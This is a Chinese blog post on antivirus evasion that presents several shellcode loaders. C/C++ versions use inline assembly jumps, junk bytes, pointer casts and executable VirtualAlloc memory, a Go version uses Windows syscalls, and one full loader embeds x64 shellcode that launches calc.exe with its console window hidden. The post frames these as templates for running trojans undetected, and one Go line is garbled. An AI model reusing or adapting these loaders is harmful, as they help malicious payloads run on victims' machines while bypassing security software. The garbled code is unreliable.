免杀的艺术-加载器

Oyst3r 于 2023-12-17 发布

定义

啥是个加载器呢,就是现在有一段写好的 shellcode,但是它不能被执行,必须有一个东西把它加载到内存中去执行,而不同的语言都会有着不一样的加载器,但其实本质都是一样的,都是一套东西,不管是 Nim 还是 Python 本质上还是去调用一些系统的 API 函数

C/C++加载

嵌入汇编

这个就是个 jmp eax,没个啥难理解的

#pragma comment(linker, "/section:.data,RWE")
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = "你的shellcode";
void main()
{
	__asm
	{

		mov eax, offset shellcode
		jmp eax
	}
}

汇编花指令

嵌入汇编和花指令都差不多,只不过可能花指令可以做一点混淆吧,但本质上都是一样的,都是 jmp eax,但都只能适用于 x86 的木马的生成

#pragma comment(linker, "/section:.data,RWE")
#include <windows.h>
#include <stdio.h>

unsigned char xff[] = "你的shellcode";
void main()
{
	__asm
	{
		mov eax, offset xff;
		_emit 0xFF;
		_emit 0xE0;
	}
}

指针执行

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"你的shellcode";

int main()
{

	((void(*)(void)) & buf)();
}

强制类型转换

#include <windows.h>
#include <stdio.h>

unsigned char buff[] = "你的shellcode";

void main()
{
	((void(WINAPI*)(void)) & buff)();
}

上述四种方法都需要将 data 节的内存设置成可读可写可执行, 以下这段代码的主要作用是在内存中分配一段可执行的内存空间

申请动态内存

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口

int main()
{
    char shellcode[] = "你的shellcode";

    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);

    ((void(*)())exec)();
}

Golang 加载

package main

import (
  "syscall"
  "unsafe"
)

const (
  MEM_COMMIT             = 0x1000
  MEM_RESERVE            = 0x2000
  PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。
)

var (
  kernel32      = syscall.MustLoadDLL("kernel32.dll")
  ntdll         = syscall.MustLoadDLL("ntdll.dll")
  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
  xor_shellcode := []byte{} C#  0xfc

  addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
  if err != nil && err.Error() != "The operation completed successfully." {
    syscall.Exit(0)
  }
  syscall.Syscall(addr, 0, 0, 0, 0)
}

以上说的这些大家都可以去实战一下,模拟这一块的话,我用的就是一个弹出 calc 的一个 bin 去做实验,看是否能成功的,然后接下来去看一下怎么去生成一个自己的 shellcode,具体的原理可以看我的下一篇文章,这里就简单用下框架,让大家看个效果即可

shellcode 生成

先看一下这个项目的一个大概,这是个可以生成 64 位马的项目,其实还是蛮稀缺的,想要的 dd 我

然后 F7F5 一下,看效果,直接弹计算器哈

然后翻 release 文件夹,看生成的.bin 文件

这里不想麻烦的话,直接用个脚本转成.c 结尾的文件然后 cv

然后将该字节码复制到咱们上面的各种 Loader 的对应位置去一一尝试即可,比如演示一个用指针加载的

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
/* length: 276992 bytes */
unsigned char buf[] = {
0xe9,0x0b,0x01,0x00,0x00,0xcc,0xcc,0xcc,0x48,0x8b,0xc4,0x48,0x89,0x58,0x08,0x48,
0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x56,0x41,0x57,0x65,
0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x44,0x8b,0xf9,0x48,0x8b,0x50,0x18,0x4c,
0x8b,0x72,0x20,0x4d,0x8b,0xc6,0x4d,0x8b,0x48,0x20,0x4d,0x8b,0x00,0x4d,0x85,0xc9,
0x0f,0x84,0x89,0x00,0x00,0x00,0x49,0x63,0x41,0x3c,0x42,0x8b,0x8c,0x08,0x88,0x00,
0x00,0x00,0x85,0xc9,0x74,0x79,0x4d,0x8d,0x14,0x09,0x41,0x8b,0x52,0x0c,0x49,0x03,
0xd1,0x33,0xff,0xeb,0x16,0xc1,0xcf,0x0d,0x41,0x0f,0xbe,0xcb,0x41,0x80,0xfb,0x61,
0x8d,0x41,0xe0,0x0f,0x4c,0xc1,0x03,0xf8,0x48,0xff,0xc2,0x44,0x8a,0x1a,0x45,0x84,
0xdb,0x75,0xe2,0x41,0x8b,0x52,0x20,0x45,0x33,0xdb,0x49,0x03,0xd1,0x45,0x39,0x5a,
0x18,0x76,0x3c,0x8b,0x1a,0x49,0x03,0xd9,0x33,0xf6,0xeb,0x16,0xc1,0xce,0x0d,0x40,
0x0f,0xbe,0xcd,0x40,0x80,0xfd,0x61,0x8d,0x41,0xe0,0x0f,0x4c,0xc1,0x03,0xf0,0x48,
0xff,0xc3,0x40,0x8a,0x2b,0x40,0x84,0xed,0x75,0xe2,0x8d,0x04,0x3e,0x44,0x3b,0xf8,
0x74,0x31,0x41,0xff,0xc3,0x48,0x83,0xc2,0x04,0x45,0x3b,0x5a,0x18,0x72,0xc4,0x4d,
0x3b,0xc6,0x0f,0x85,0x5e,0xff,0xff,0xff,0x33,0xc0,0x48,0x8b,0x5c,0x24,0x18,0x48,
0x8b,0x6c,0x24,0x20,0x48,0x8b,0x74,0x24,0x28,0x48,0x8b,0x7c,0x24,0x30,0x41,0x5f,
0x41,0x5e,0xc3,0x41,0x8b,0x4a,0x24,0x49,0x03,0xc9,0x46,0x0f,0xb7,0x04,0x59,0x41,
0x8b,0x4a,0x1c,0x49,0x03,0xc9,0x42,0x8b,0x04,0x81,0x49,0x03,0xc1,0xeb,0xcb,0xcc,
0x40,0x55,0x48,0x8b,0xec,0x48,0x83,0xec,0x40,0xb9,0x8d,0x10,0xb7,0xf8,0xc7,0x45,
0xf0,0x6b,0x65,0x72,0x6e,0xc7,0x45,0xf4,0x65,0x6c,0x33,0x32,0xc7,0x45,0xf8,0x2e,
0x64,0x6c,0x6c,0xc6,0x45,0xfc,0x00,0xc7,0x45,0xe0,0x63,0x61,0x6c,0x63,0xc7,0x45,
0xe4,0x2e,0x65,0x78,0x65,0xc6,0x45,0xe8,0x00,0xe8,0xba,0xfe,0xff,0xff,0x48,0x8d,
0x4d,0xf0,0xff,0xd0,0xb9,0x7f,0xc0,0xb4,0x7b,0xe8,0xaa,0xfe,0xff,0xff,0xba,0x05,
0x00,0x00,0x00,0x48,0x8d,0x4d,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x40,0x5d,0xc3,0xcc
};
int main()
{
    ((void(*)(void)) & buf)();
    return 0;
}

嗯嗯就这样吧,睡喽!